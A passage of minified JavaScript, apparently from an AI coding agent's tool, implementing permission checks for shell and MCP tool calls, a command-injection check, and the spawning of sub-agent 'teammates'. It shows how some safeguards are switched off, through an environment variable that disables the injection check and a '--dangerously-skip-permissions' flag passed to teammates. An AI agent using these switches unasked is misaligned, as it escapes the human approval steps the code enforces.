numbers, hyphens, and underscores.",decisionReason:{type:"other",reason:"Security: Invalid characters in MCP identifier"}};let w=`mcp__${Y}__${z}`,H={name:w},J=NS6(K,H);if(J)return{behavior:"deny",message:`MCP tool ${Y}/${z} has been denied`,decisionReason:{type:"rule",rule:J}};let O=TS6(K,H);if(O)return{behavior:"ask",message:j0(w),decisionReason:{type:"rule",rule:O},suggestions:EqK(w)};let X=fS6(K,H);if(X)return{behavior:"allow",updatedInput:{command:A},decisionReason:{type:"rule",rule:X}};return{behavior:"ask",message:j0(w),decisionReason:{type:"other",reason:"MCP tool requires permission"},suggestions:EqK(w)}}function FP2(A){if(A.endsWith(":*"))return!1;for(let K=0;K<A.length;K++)if(A[K]==="*"){let q=0,Y=K-1;while(Y>=0&&A[Y]==="\\")q++,Y--;if(q%2===0)return!0}return!1}function DS6(A,K){let q=A.trim(),Y="\x00ESCAPED_STAR\x00",z="\x00ESCAPED_BACKSLASH\x00",w="",H=0;while(H<q.length){let _=q[H];if(_==="\\"&&H+1<q.length){let G=q[H+1];if(G==="*"){w+="\x00ESCAPED_STAR\x00",H+=2;continue}else if(G==="\\"){w+="\x00ESCAPED_BACKSLASH\x00",H+=2;continue}}w+=_,H++}let X=w.replace(/[.+?^${}()|[\]\\'"]/g,"\\$&").replace(/\*/g,".*").replace(new RegExp("\x00ESCAPED_STAR\x00","g"),"\\*").replace(new RegExp("\x00ESCAPED_BACKSLASH\x00","g"),"\\\\");return new RegExp(`^${X}$`).test(K)}function jS6(A){let K=WS6(A);if(K!==null)return{type:"prefix",prefix:K};if(FP2(A))return{type:"wildcard",pattern:A};return{type:"exact",command:A}}function UP2(A){let q=A.split(` `).filter((Y)=>{let z=Y.trim();return z!==""&&!z.startsWith("#")});if(q.length===0)return A;return q.join(` `)}function wS6(A){let K=[/^timeout\s+\d+[smhd]?\s+/,/^time\s+/,/^nice\s+-n\s+-?\d+\s+/,/^nohup\s+/],q=/^([A-Za-z_][A-Za-z0-9_]*)=([A-Za-z0-9_./:-]+)\s+/,Y=A,z="";while(Y!==z){z=Y,Y=UP2(Y);for(let H of K)Y=Y.replace(H,"");let w=Y.match(q);if(w){let H=w[1],J=!1;if(QP2.has(H))Y=Y.replace(q,"")}}return Y.trim()}function GS6(A,K,q){let Y=A.command.trim(),z=gS(Y).commandWithoutRedirections,H=(q==="exact"?[Y,z]:[z]).flatMap((J)=>{let O=wS6(J);return O!==J?[J,O]:[J]});return Array.from(K.entries()).filter(([J])=>{let O=jS6(J);return H.some((X)=>{switch(O.type){case"exact":return O.command===X;case"prefix":switch(q){case"exact":return O.prefix===X;case"prefix":if(X===O.prefix)return!0;return X.startsWith(O.prefix+" ")}break;case"wildcard":if(q==="exact")return!1;return DS6(O.pattern,X)}})}).map(([,J])=>J)}function MS6(A,K,q){let Y=QS(K,o7,"deny"),z=GS6(A,Y,q),w=QS(K,o7,"ask"),H=GS6(A,w,q),J=QS(K,o7,"allow"),O=GS6(A,J,q);return{matchingDenyRules:z,matchingAskRules:H,matchingAllowRules:O}}function kqK(A,K,q,Y){let z=PS6(A,K);if(z.behavior!=="passthrough")return z;let w=LqK(A,K,Y);if(w.behavior==="deny"||w.behavior==="ask")return w;if(!P1(process.env.CLAUDE_CODE_DISABLE_COMMAND_INJECTION_CHECK)){let J=wm(A.command);if(J.behavior!=="passthrough"){let O={type:"other",reason:J.behavior==="ask"&&J.message?J.message:"This command contains patterns that could pose security risks and requires approval"};return{behavior:"ask",message:j0(o7.name,O),decisionReason:O,suggestions:[]}}}if(w.behavior==="allow")return w;let H=q?.commandPrefix?CqK(q.commandPrefix):GV1(A.command);return{...w,suggestions:H}}function pP2(A,K){let q=A.command.trim(),{matchingDenyRules:Y,matchingAskRules:z}=MS6(A,K,"prefix");if(Y[0]!==void 0)return{behavior:"deny",message:`Permission to use ${o7.name} with command ${q} has been denied.`,decisionReason:{type:"rule",rule:Y[0]}};if(z[0]!==void 0)return{behavior:"ask",message:j0(o7.name),decisionReason:{type:"rule",rule:z[0]}};return{behavior:"allow",updatedInput:A,decisionReason:{type:"other",reason:"Auto-allowed with sandbox (autoAllowBashIfSandboxed enabled)"}}}function YUA(A,K){if(!$m())return;let q=NMA(K);if(q.length===0)return;return{command:A,cwd:x1(),descriptions:q}}function RqK(A,K,q,Y){if(!$m())return;let z=NMA(K);if(z.length===0)return;let w=x1(),H=TMA(A,w,z,"allow",q,Y);ZS6.set(A,H)}function yqK(A){let K=ZS6.get(A);if(K)ZS6.delete(A);return K}async function zUA(A,K,q){let{command:Y,cwd:z,descriptions:w}=A,H=yqK(Y),J=H?await H:await TMA(Y,z,w,"allow",K,q);_V1(Y,"allow",w,J);return}async function IqK(A,K,q,Y){let{command:z,cwd:w,descriptions:H}=A,J=yqK(z),O=J?await J:await TMA(z,w,H,"allow",K,q);if(_V1(z,"allow",H,O),!Y.shouldContinue())return;Y.onComplete?.()}async function VS6(A,K,q=SqK){let Y=await K.getAppState(),z=Bz(A.command);if(!z.success){let T={type:"other",reason:`Command contains malformed syntax that cannot be parsed: ${z.error}`};return{behavior:"ask",decisionReason:T,message:j0(o7.name,T)}}if(S8.isSandboxingEnabled()&&S8.isAutoAllowBashIfSandboxedEnabled()&&vMA(A)){let T=pP2(A,Y.toolPermissionContext);if(T.behavior!=="passthrough")return T}let w=PS6(A,Y.toolPermissionContext);if(w.behavior==="deny")return w;let H=!1;if($m()&&!H){let T=_S6(Y.toolPermissionContext);if(T.length>0){let C=await TMA(A.command,x1(),T,"deny",K.abortController.signal,K.options.isNonInteractiveSession);if(K.abortController.signal.aborted)throw new y2;if(_V1(A.command,"deny",T,C),C.matches&&C.confidence==="high")return{behavior:"deny",message:`Denied by Bash prompt rule: "${C.matchedDescription}"`,decisionReason:{type:"other",reason:`Denied by Bash prompt rule: "${C.matchedDescription}"`}}}}if($m()&&!H){let T=NqK(Y.toolPermissionContext);if(T.length>0){let C=await TMA(A.command,x1(),T,"ask",K.abortController.signal,K.options.isNonInteractiveSession);if(K.abortController.signal.aborted)throw new y2;if(_V1(A.command,"ask",T,C),C.matches&&C.confidence==="high"){let R=await q(A.command,K.abortController.signal,K.options.isNonInteractiveSession);if(K.abortController.signal.aborted)throw new y2;let x=R?.commandPrefix?CqK(R.commandPrefix):GV1(A.command);return{behavior:"ask",message:j0(o7.name),decisionReason:{type:"other",reason:`Required by Bash prompt rule: "${C.matchedDescription}"`},suggestions:x}}}}let J=await zqK(A,(T)=>VS6(T,K,q));if(J.behavior!=="passthrough"){if(J.behavior==="allow"){let T=wm(A.command);if(T.behavior!=="passthrough"&&T.behavior!=="allow")return Y=await K.getAppState(),{behavior:"ask",message:j0(o7.name,{type:"other",reason:T.message??"Command contains patterns that require approval"}),decisionReason:{type:"other",reason:T.message??"Command contains patterns that require approval"},pendingClassifierCheck:YUA(A.command,Y.toolPermissionContext)};Y=await K.getAppState();let C=$V1(A,x1(),Y.toolPermissionContext,!1);if(C.behavior!=="passthrough")return C}if(J.behavior==="ask")return Y=await K.getAppState(),{...J,pendingClassifierCheck:YUA(A.command,Y.toolPermissionContext)};return J}if(!P1(process.env.CLAUDE_CODE_DISABLE_COMMAND_INJECTION_CHECK)){let T=wm(A.command);if(T.behavior==="ask"&&T.message?.includes("${")){Y=await K.getAppState();let C={type:"other",reason:T.message};return{behavior:"ask",message:j0(o7.name,C),decisionReason:C,suggestions:[],pendingClassifierCheck:YUA(A.command,Y.toolPermissionContext)}}}let O=R$(A.command).filter((T)=>{if(T===`cd ${x1()}`)return!1;return!0}),X=O.filter((T)=>qUA.test(T));if(X.length>1){let T={type:"other",reason:"Multiple directory changes in one command require approval for clarity"};return{behavior:"ask",decisionReason:T,message:j0(o7.name,T)}}let $=X.length>0;Y=await K.getAppState();let _=O.map((T)=>{let C=gP2(T,Y.toolPermissionContext);if(C!==null)return C;return LqK({command:T},Y.toolPermissionContext,$)});if(_.find((T)=>T.behavior==="deny")!==void 0)return{behavior:"deny",message:`Permission to use ${o7.name} with command ${A.command} has been denied.`,decisionReason:{type:"subcommandResults",reasons:new Map(_.map((T,C)=>[O[C],T]))}};let Z=$V1(A,x1(),Y.toolPermissionContext,$);if(Z.behavior!=="passthrough")return Z;let W=_.find((T)=>T.behavior==="ask");if(W!==void 0)return W;if(w.behavior==="allow")return w;let D=P1(process.env.CLAUDE_CODE_DISABLE_COMMAND_INJECTION_CHECK)?!1:O.some((T)=>wm(T).behavior!=="passthrough");if(_.every((T)=>T.behavior==="allow")&&!D)return{behavior:"allow",updatedInput:A,decisionReason:{type:"subcommandResults",reasons:new Map(_.map((T,C)=>[O[C],T]))}};let j=await q(A.command,K.abortController.signal,K.options.isNonInteractiveSession);if(K.abortController.signal.aborted)throw new y2;if(Y=await K.getAppState(),O.length===1){let T=kqK({command:O[0]},Y.toolPermissionContext,j,$);if(T.behavior==="ask"||T.behavior==="passthrough")return{...T,pendingClassifierCheck:YUA(A.command,Y.toolPermissionContext)};return T}let M=new Map;for(let T of O)M.set(T,kqK({...A,command:T},Y.toolPermissionContext,j?.subcommandPrefixes.get(T),$));if(O.every((T)=>{return M.get(T)?.behavior==="allow"}))return{behavior:"allow",updatedInput:A,decisionReason:{type:"subcommandResults",reasons:M}};let P=new Map;for(let T of M.values())if(T.behavior==="ask"||T.behavior==="passthrough"){let C="suggestions"in T?T.suggestions:void 0,R=v6A(C);for(let x of R){let y=I9(x);P.set(y,x)}}let f={type:"subcommandResults",reasons:M},N=P.size>0?[{type:"addRules",rules:Array.from(P.values()),behavior:"allow",destination:"localSettings"}]:void 0;return{behavior:"passthrough",message:j0(o7.name,f),decisionReason:f,suggestions:N,pendingClassifierCheck:YUA(A.command,Y.toolPermissionContext)}}var WS6=(A)=>{return A.match(/^(.+):\*$/)?.[1]??null},QP2,PS6=(A,K)=>{let q=A.command.trim(),{matchingDenyRules:Y,matchingAskRules:z,matchingAllowRules:w}=MS6(A,K,"exact");if(Y[0]!==void 0)return{behavior:"deny",message:`Permission to use ${o7.name} with command ${q} has been denied.`,decisionReason:{type:"rule",rule:Y[0]}};if(z[0]!==void 0)return{behavior:"ask",message:j0(o7.name),decisionReason:{type:"rule",rule:z[0]}};if(w[0]!==void 0)return{behavior:"allow",updatedInput:A,decisionReason:{type:"rule",rule:w[0]}};let H={type:"other",reason:"This command requires approval"};return{behavior:"passthrough",message:j0(o7.name,H),decisionReason:H,suggestions:GV1(q)}},LqK=(A,K,q)=>{let Y=A.command.trim(),z=PS6(A,K);if(z.behavior==="deny"||z.behavior==="ask")return z;let{matchingDenyRules:w,matchingAskRules:H,matchingAllowRules:J}=MS6(A,K,"prefix");if(w[0]!==void 0)return{behavior:"deny",message:`Permission to use ${o7.name} with command ${Y} has been denied.`,decisionReason:{type:"rule",rule:w[0]}};if(H[0]!==void 0)return{behavior:"ask",message:j0(o7.name),decisionReason:{type:"rule",rule:H[0]}};let O=$V1(A,x1(),K,q);if(O.behavior!=="passthrough")return O;if(z.behavior==="allow")return z;if(J[0]!==void 0)return{behavior:"allow",updatedInput:A,decisionReason:{type:"rule",rule:J[0]}};let X=PqK(A,K);if(X.behavior!=="passthrough")return X;let $=WqK(A,K);if($.behavior!=="passthrough")return $;if(o7.isReadOnly(A))return{behavior:"allow",updatedInput:A,decisionReason:{type:"other",reason:"Read-only command is allowed"}};let _={type:"other",reason:"This command requires approval"};return{behavior:"passthrough",message:j0(o7.name,_),decisionReason:_,suggestions:GV1(Y)}},ZS6;var n3A=k(()=>{xG();SH();nP1();_P();gO();iw();y4();LH();S2();wqK();l6();ZqK();_P();DqK();$S6();IG();l1();b1();QP2=new Set(["GOEXPERIMENT","GOOS","GOARCH","CGO_ENABLED","GO111MODULE","RUST_BACKTRACE","RUST_LOG","NODE_ENV","PYTHONUNBUFFERED","PYTHONDONTWRITEBYTECODE","PYTEST_DISABLE_PLUGIN_AUTOLOAD","PYTEST_DEBUG","ANTHROPIC_API_KEY","LANG","LANGUAGE","LC_ALL","LC_CTYPE","LC_TIME","CHARSET","TERM","COLORTERM","NO_COLOR","FORCE_COLOR","TZ","LS_COLORS","LSCOLORS","GREP_COLOR","GREP_COLORS","GCC_COLORS","TIME_STYLE","BLOCK_SIZE","BLOCKSIZE"]);ZS6=new Map});function cP2(A,K){return async(q,Y,z,w,H)=>{let J=await V_(q,Y,z,w,H);if(J.behavior!=="ask")return J;if(q.name===G7&&J.pendingClassifierCheck){let _=await zUA(J.pendingClassifierCheck,K.signal,z.options.isNonInteractiveSession);if(_)return{behavior:"allow",updatedInput:Y,decisionReason:_}}if(K.signal.aborted)return{behavior:"ask",message:US};let O=await z.getAppState(),X=await q.description(Y,{isNonInteractiveSession:z.options.isNonInteractiveSession,toolPermissionContext:O.toolPermissionContext,tools:z.options.tools});if(K.signal.aborted)return{behavior:"ask",message:US};let $=iP1();if($)return new Promise((_)=>{let G=!1,Z=()=>{if(G)return;G=!0,_({behavior:"ask",message:US}),$((W)=>W.filter((D)=>D.toolUseID!==H))};K.signal.addEventListener("abort",Z,{once:!0}),$((W)=>[...W,{assistantMessage:w,tool:q,description:X,input:Y,toolUseContext:z,toolUseID:H,permissionResult:J,permissionPromptStartTimeMs:Date.now(),workerBadge:A.color?{name:A.agentName,color:A.color}:void 0,onUserInteraction(){},onAbort(){if(G)return;G=!0,K.signal.removeEventListener("abort",Z),_({behavior:"ask",message:US})},async onAllow(D,j,M){if(G)return;if(G=!0,K.signal.removeEventListener("abort",Z),QE(j),j.length>0){let f=kKK();if(f){let N=await z.getAppState(),T=XD(N.toolPermissionContext,j);f(T,{preserveMode:!0})}}let P=M?.trim();_({behavior:"allow",updatedInput:D,userModified:!1,acceptFeedback:P||void 0})},onReject(D){if(G)return;G=!0,K.signal.removeEventListener("abort",Z);let j=D?`${wUA}${D}`:US;_({behavior:"ask",message:j})},async recheckPermission(){if(G)return;let D=await V_(q,Y,z,w,H);if(D.behavior==="allow")G=!0,K.signal.removeEventListener("abort",Z),$((j)=>j.filter((M)=>M.toolUseID!==H)),_({...D,updatedInput:Y,userModified:!1})}}])});return new Promise((_)=>{let G=QP1({toolName:q.name,toolUseId:H,input:Y,description:X,permissionSuggestions:J.suggestions,workerId:A.agentId,workerName:A.agentName,workerColor:A.color,teamName:A.teamName});cP1({requestId:G.id,toolUseId:H,onAllow(j,M){D(),QE(M);let P=j&&Object.keys(j).length>0?j:Y;_({behavior:"allow",updatedInput:P,userModified:!1})},onReject(j){D();let M=j?`${wUA}${j}`:US;_({behavior:"ask",message:M})}}),UP1(G);let Z=setInterval(()=>{if(K.signal.aborted){D(),_({behavior:"ask",message:US});return}let j=vd(A.agentName,A.teamName);for(let M=0;M<j.length;M++){let P=j[M];if(P&&!P.read){let f=L3A(P.text);if(f&&f.requestId===G.id){NQA(A.agentName,A.teamName,M),lP1({requestId:f.requestId,decision:f.decision,feedback:f.feedback,updatedInput:f.updatedInput,permissionUpdates:f.permissionUpdates});return}}}},dP2),W=()=>{D(),_({behavior:"ask",message:US})};K.signal.addEventListener("abort",W,{once:!0});function D(){clearInterval(Z),MKK(G.id),K.signal.removeEventListener("abort",W)}})}}function vS6(A,K,q){let Y=q?` color="${q}"`:"";return`<${F0} teammate_id="${A}"${Y}> ${K} </${F0}>`}function Id(A,K,q){q((Y)=>{let z=Y.tasks[A];if(!z||z.type!=="in_process_teammate")return Y;return{...Y,tasks:{...Y.tasks,[A]:K(z)}}})}function lP2(A,K,q,Y){Q3(P2,{from:A,text:K,timestamp:new Date().toISOString(),color:q},Y)}function hqK(A,K,q,Y,z,w){let H=vQA(A,Y,z,w);lP2(A,UA(H),K,q)}function iP2(A){return new Promise((K)=>setTimeout(K,A))}function nP2(A){let K=new Set(A.filter((q)=>q.status!=="completed").map((q)=>q.id));return A.find((q)=>{if(q.status!=="pending")return!1;if(q.owner)return!1;return q.blockedBy.every((Y)=>!K.has(Y))})}function rP2(A){let K=`Complete all open tasks. Start with task #${A.id}: ${A.subject}`;if(A.description)K+=` ${A.description}`;return K}function bqK(A,K){try{let q=OG(A),Y=nP2(q);if(!Y)return;let z=G76(A,Y.id,K);if(!z.success){h(`[inProcessRunner] Failed to claim task #${Y.id}: ${z.reason}`);return}return Ey(A,Y.id,{status:"in_progress"}),h(`[inProcessRunner] Claimed task #${Y.id}: ${Y.subject}`),rP2(Y)}catch(q){h(`[inProcessRunner] Error checking task list: ${q}`);return}}async function oP2(A,K,q,Y,z,w){h(`[inProcessRunner] ${A.agentName} starting poll loop (abort=${K.signal.aborted})`);let J=0;while(!K.signal.aborted){let X=(await Y()).tasks[q];if(X&&X.type==="in_process_teammate"&&X.pendingUserMessages.length>0){let _=X.pendingUserMessages[0];return z((G)=>{let Z=G.tasks[q];if(!Z||Z.type!=="in_process_teammate")return G;return{...G,tasks:{...G.tasks,[q]:{...Z,pendingUserMessages:Z.pendingUserMessages.slice(1)}}}}),h(`[inProcessRunner] ${A.agentName} found pending user message (poll #${J})`),{type:"new_message",message:_,from:"user"}}if(J>0)await iP2(500);if(J++,K.signal.aborted)return h(`[inProcessRunner] ${A.agentName} aborted while waiting (poll #${J})`),{type:"aborted"};h(`[inProcessRunner] ${A.agentName} poll #${J}: checking mailbox`);try{let _=vd(A.agentName,A.teamName),G=_.findIndex((Z)=>!Z.read);if(G!==-1){let Z=_[G];if(Z){h(`[inProcessRunner] ${A.agentName} found unread message at index ${G}`);let W=R3A(Z.text);if(W)return h(`[inProcessRunner] ${A.agentName} received shutdown request from ${W.from}`),NQA(A.agentName,A.teamName,G),{type:"shutdown_request",request:W,originalMessage:Z.text};return h(`[inProcessRunner] ${A.agentName} received new message from ${Z.from}`),NQA(A.agentName,A.teamName,G),{type:"new_message",message:Z.text,from:Z.from,color:Z.color}}}}catch(_){h(`[inProcessRunner] ${A.agentName} poll error: ${_}`)}let $=bqK(w,A.agentName);if($)return{type:"new_message",message:$,from:"task-list"}}return h(`[inProcessRunner] ${A.agentName} exiting poll loop (abort=${K.signal.aborted}, polls=${J})`),{type:"aborted"}}async function aP2(A){let{identity:K,taskId:q,prompt:Y,agentDefinition:z,teammateContext:w,toolUseContext:H,abortController:J,model:O,systemPrompt:X,systemPromptMode:$,allowedTools:_,allowPermissionPrompts:G}=A,{setAppState:Z}=H;h(`[inProcessRunner] Starting agent loop for ${K.agentId}`);let W={agentId:K.agentId,parentSessionId:K.parentSessionId,agentName:K.agentName,teamName:K.teamName,agentColor:K.color,planModeRequired:K.planModeRequired,isTeamLead:!1,agentType:"teammate"},D;if($==="replace"&&X)D=X;else{let C=[...await sf(H.options.tools,H.options.mainLoopModel,void 0,H.options.mcpClients),II6];if(z){let R=z.getSystemPrompt();if(R)C.push(` # Custom Agent Instructions ${R}`)}if($==="append"&&X)C.push(X);D=C.join(` `)}let j={agentType:K.agentName,whenToUse:`In-process teammate: ${K.agentName}`,getSystemPrompt:()=>D,tools:z?.tools??["*"],source:"projectSettings",permissionMode:"default"},M=[],P=vS6("team-lead",Y),f=P,N=!1;bqK(K.parentSessionId,K.agentName);try{Id(q,(T)=>({...T,messages:[...T.messages??[],t1({content:P})]}),Z);while(!J.signal.aborted&&!N){h(`[inProcessRunner] ${K.agentId} processing prompt: ${f.substring(0,50)}...`);let T=e7();Id(q,(qA)=>({...qA,currentWorkAbortController:T}),Z);let C=t1({content:f}),R=[C],x=M,y=WI(M);if(y>WV1()){h(`[inProcessRunner] ${K.agentId} compacting history (${y} tokens)`);let qA=await EMA(M,H,{systemPrompt:[],userContext:{},systemContext:{},toolUseContext:H,forkContextMessages:[]},!0,void 0,!0);x=Bt(qA),M.length=0,M.push(...x)}let B=x.length>0?[...x]:void 0;M.push(C);let b=JmA(),F=XmA(H.options.tools),Q=[],d=(await H.getAppState()).tasks[q],r=d&&d.type==="in_process_teammate"?d.permissionMode:"default",c={...j,permissionMode:r},YA=!1;if(await pq1(w,async()=>{return q$A(W,async()=>{Id(q,(qA)=>({...qA,status:"running",isIdle:!1}),Z);for await(let qA of DL({agentDefinition:c,promptMessages:R,toolUseContext:H,canUseTool:cP2(K,T),isAsync:!0,canShowPermissionPrompts:G??!0,forkContextMessages:B,querySource:"agent:custom",override:{abortController:T},model:O,availableTools:H.options.tools,allowedTools:_})){if(J.signal.aborted){h(`[inProcessRunner] ${K.agentId} lifecycle aborted`);break}if(T.signal.aborted){h(`[inProcessRunner] ${K.agentId} current work aborted (Escape pressed)`),YA=!0;break}Q.push(qA),M.push(qA),OWA(b,qA,F,H.options.tools);let HA=OmA(b);Id(q,(_A)=>{let a=_A.inProgressToolUseIDs;if(qA.type==="assistant"){for(let JA of qA.message.content)if(JA.type==="tool_use")a=new Set([...a??[],JA.id])}else if(qA.type==="user"){let JA=qA.message.content;if(Array.isArray(JA)){for(let jA of JA)if(typeof jA==="object"&&"type"in jA&&jA.type==="tool_result"){if(a)a=new Set(a),a.delete(jA.tool_use_id)}}}return{..._A,progress:HA,messages:[..._A.messages??[],qA],inProgressToolUseIDs:a,lastReportedToolCount:b.toolUseCount,lastReportedTokenCount:YP6(b)}},Z)}return{success:!0,messages:Q}})}),Id(q,(qA)=>({...qA,currentWorkAbortController:void 0}),Z),J.signal.aborted)break;if(YA){h(`[inProcessRunner] ${K.agentId} work interrupted, returning to idle`);let qA=D2({content:N3A});Id(q,(HA)=>({...HA,messages:[...HA.messages??[],qA]}),Z)}Id(q,(qA)=>{return qA.onIdleCallbacks?.forEach((HA)=>HA()),{...qA,isIdle:!0,onIdleCallbacks:[]}},Z),hqK(K.agentName,K.color,K.teamName),h(`[inProcessRunner] ${K.agentId} finished prompt, waiting for next`);let e=await oP2(K,J,q,H.getAppState,Z,K.parentSessionId);switch(e.type){case"shutdown_request":h(`[inProcessRunner] ${K.agentId} received shutdown request - passing to model`),f=vS6(e.request?.from||"team-lead",e.originalMessage),yI6(q,t1({content:f}),Z);break;case"new_message":if(h(`[inProcessRunner] ${K.agentId} received new message from ${e.from}`),e.from==="user")f=e.message;else f=vS6(e.from,e.message,e.color),yI6(q,t1({content:f}),Z);break;case"aborted":h(`[inProcessRunner] ${K.agentId} aborted while waiting`),N=!0;break}}return Id(q,(T)=>({...T,status:"completed",endTime:Date.now()}),Z),{success:!0,messages:M}}catch(T){let C=T instanceof Error?T.message:"Unknown error";return h(`[inProcessRunner] Agent ${K.agentId} failed: ${C}`),Id(q,(R)=>{return R.onIdleCallbacks?.forEach((x)=>x()),{...R,status:"failed",error:C,isIdle:!0,endTime:Date.now(),onIdleCallbacks:[]}},Z),hqK(K.agentName,K.color,K.teamName,void 0,"failed",C),{success:!1,error:C,messages:M}}}function ZV1(A){aP2(A).catch((K)=>{h(`[inProcessRunner] Unhandled error in ${A.identity.agentId}: ${K}`)})}var dP2=500;var ES6=k(()=>{zm();B3A();of();wz();NT();M91();Z1();_H();VJ();XWA();$8();oZ();Sd();St();S2();LH();b1();Jz();_MA();dQA();LH();$8();n3A()});class xqK{type="in-process";context=null;setContext(A){this.context=A}async isAvailable(){return!0}async spawn(A){if(!this.context)return h(`[InProcessBackend] spawn() called without context for ${A.name}`),{success:!1,agentId:`${A.name}@${A.teamName}`,error:"InProcessBackend not initialized. Call setContext() before spawn()."};h(`[InProcessBackend] spawn() called for ${A.name}`);let K=await XMA({name:A.name,teamName:A.teamName,prompt:A.prompt,color:A.color,planModeRequired:A.planModeRequired??!1},this.context);if(K.success&&K.taskId&&K.teammateContext&&K.abortController)ZV1({identity:{agentId:K.agentId,agentName:A.name,teamName:A.teamName,color:A.color,planModeRequired:A.planModeRequired??!1,parentSessionId:K.teammateContext.parentSessionId},taskId:K.taskId,prompt:A.prompt,teammateContext:K.teammateContext,toolUseContext:this.context,abortController:K.abortController,model:A.model,systemPrompt:A.systemPrompt,systemPromptMode:A.systemPromptMode,allowedTools:A.permissions,allowPermissionPrompts:A.allowPermissionPrompts}),h(`[InProcessBackend] Started agent execution for ${K.agentId}`);return{success:K.success,agentId:K.agentId,taskId:K.taskId,abortController:K.abortController,error:K.error}}async sendMessage(A,K){h(`[InProcessBackend] sendMessage() to ${A}: ${K.text.substring(0,50)}...`);let q=k3A(A);if(!q)throw h(`[InProcessBackend] Invalid agentId format: ${A}`),Error(`Invalid agentId format: ${A}. Expected format: agentName@teamName`);let{agentName:Y,teamName:z}=q;Q3(Y,{text:K.text,from:K.from,color:K.color,timestamp:K.timestamp??new Date().toISOString()},z),h(`[InProcessBackend] sendMessage() completed for ${A}`)}async terminate(A,K){if(h(`[InProcessBackend] terminate() called for ${A}: ${K}`),!this.context)return h(`[InProcessBackend] terminate() failed: no context set for ${A}`),!1;let q=await this.context.getAppState(),Y=U3A(A,q.tasks);if(!Y)return h(`[InProcessBackend] terminate() failed: task not found for ${A}`),!1;if(Y.shutdownRequested)return h(`[InProcessBackend] terminate(): shutdown already requested for ${A}`),!0;let z=`shutdown-${A}-${Date.now()}`,w=KMA({requestId:z,from:"team-lead",reason:K}),H=Y.identity.agentName;return Q3(H,{from:"team-lead",text:JSON.stringify(w),timestamp:new Date().toISOString()},Y.identity.teamName),XKK(Y.id,this.context.setAppState),h(`[InProcessBackend] terminate() sent shutdown request to ${A}`),!0}async kill(A){if(h(`[InProcessBackend] kill() called for ${A}`),!this.context)return h(`[InProcessBackend] kill() failed: no context set for ${A}`),!1;let K=await this.context.getAppState(),q=U3A(A,K.tasks);if(!q)return h(`[InProcessBackend] kill() failed: task not found for ${A}`),!1;if(q.localTaskId)nq1(q.identity.teamName,q.localTaskId);let Y=mP1(q.id,this.context.setAppState);return h(`[InProcessBackend] kill() ${Y?"succeeded":"failed"} for ${A}`),Y}async isActive(A){if(h(`[InProcessBackend] isActive() called for ${A}`),!this.context)return h(`[InProcessBackend] isActive() failed: no context set for ${A}`),!1;let K=await this.context.getAppState(),q=U3A(A,K.tasks);if(!q)return h(`[InProcessBackend] isActive(): task not found for ${A}`),!1;let Y=q.status==="running",z=q.abortController.signal.aborted,w=Y&&!z;return h(`[InProcessBackend] isActive() for ${A}: ${w} (running=${Y}, aborted=${z})`),w}}function uqK(){return new xqK}var BqK=k(()=>{Z1();gP1();ES6();zm();_H();VJ()});var gqK={};_q(gqK,{resetDetectionCache:()=>tP2,isTmuxAvailable:()=>ct,isIt2CliAvailable:()=>OUA,isInsideTmuxSync:()=>DV1,isInsideTmux:()=>pS,isInITerm2:()=>o3A,getLeaderPaneId:()=>jV1,IT2_COMMAND:()=>MV1});function DV1(){return!!mqK}async function pS(){if(HUA!==null)return HUA;return HUA=!!mqK,HUA}function jV1(){return sP2||null}async function ct(){return(await R6(Hj,["-V"])).code===0}function o3A(){if(JUA!==null)return JUA;let A=process.env.TERM_PROGRAM,K=!!process.env.ITERM_SESSION_ID,q=m6.terminal==="iTerm.app";return JUA=A==="iTerm.app"||K||q,JUA}async function OUA(){return(await R6(MV1,["--version"])).code===0}function tP2(){HUA=null,JUA=null}var mqK,sP2,HUA=null,JUA=null,MV1="it2";var _m=k(()=>{z3();CK();mqK=process.env.TMUX,sP2=process.env.TMUX_PANE});var QqK={};_q(QqK,{setCliTeammateModeOverride:()=>eP2,resetTeammateModeSnapshot_FOR_TESTS_ONLY:()=>AV2,getTeammateModeFromSnapshot:()=>XUA,getCliTeammateModeOverride:()=>kS6,clearCliTeammateModeOverride:()=>CS6,captureTeammateModeSnapshot:()=>FqK});function eP2(A){kMA=A}function kS6(){return kMA}function CS6(A){kMA=null,lt=A,h(`[TeammateModeSnapshot] CLI override cleared, new mode: ${A}`)}function FqK(){if(kMA)lt=kMA,h(`[TeammateModeSnapshot] Captured from CLI override: ${lt}`);else lt=M1().teammateMode??"auto",h(`[TeammateModeSnapshot] Captured from config: ${lt}`)}function XUA(){if(lt===null)KA(Error("getTeammateModeFromSnapshot called before capture - this indicates an initialization bug")),FqK();return lt??"auto"}function AV2(){lt=null,kMA=null}var lt=null,kMA=null;var $UA=k(()=>{i6();Z1();C1()});function UqK(){if(process.env[jDA])return process.env[jDA];return n9()?process.execPath:process.argv[1]}function pqK(A){let K=[],{planModeRequired:q,permissionMode:Y}=A||{};if(q);else if(Y==="bypassPermissions"||GzA())K.push("--dangerously-skip-permissions");else if(Y==="acceptEdits")K.push("--permission-mode acceptEdits");let z=wzA();if(z)K.push(`--model ${R4([z])}`);let w=w1A();if(w)K.push(`--settings ${R4([w])}`);let H=_zA();for(let O of H)K.push(`--plugin-dir ${R4([O])}`);let J=XUA();return K.push(`--teammate-mode ${J}`),K.join(" ")}var dqK=k(()=>{gO();q6();$UA()});class cqK{type;backend;context=null;spawnedTeammates;cleanupRegistered=!1;constructor(A){this.backend=A,this.type=A.type,this.spawnedTeammates=new Map}setContext(A){this.context=A}async isAvailable(){return this.backend.isAvailable()}async spawn(A){let K=cf(A.name,A.teamName);if(!this.context)return h(`[PaneBackendExecutor] spawn() called without context for ${A.name}`),{success:!1,agentId:K,error:"PaneBackendExecutor not initialized. Call setContext() before spawn()."};try{let q=A.color??Ym(K),{paneId:Y,isFirstTeammate:z}=await this.backend.createTeammatePaneInSwarmView(A.name,q),w=await pS();if(z&&w)await this.backend.enablePaneBorderStatus();let H=UqK(),J=[`--agent-id ${R4([K])}`,`--agent-name ${R4([A.name])}`,`--team-name ${R4([A.teamName])}`,`--agent-color ${R4([q])}`,`--parent-session-id ${R4([A.parentSessionId||d1()])}`,A.planModeRequired?"--plan-mode-required":""].filter(Boolean).join(" "),O=await this.context.getAppState(),X=pqK({planModeRequired:A.planModeRequired,permissionMode:O.toolPermissionContext.mode});if(A.model)X=X.split(" ").filter((Z,W,D)=>Z!=="--model"&&D[W-1]!=="--model").join(" "),X=X?`${X} --model ${R4([A.model])}`:`--model ${R4([A.model])}`;let $=X?` ${X}`:"",_=A.cwd,G=`cd ${R4([_])} && CLAUDECODE=1 ${R4([H])} ${J}${$}`;if(await 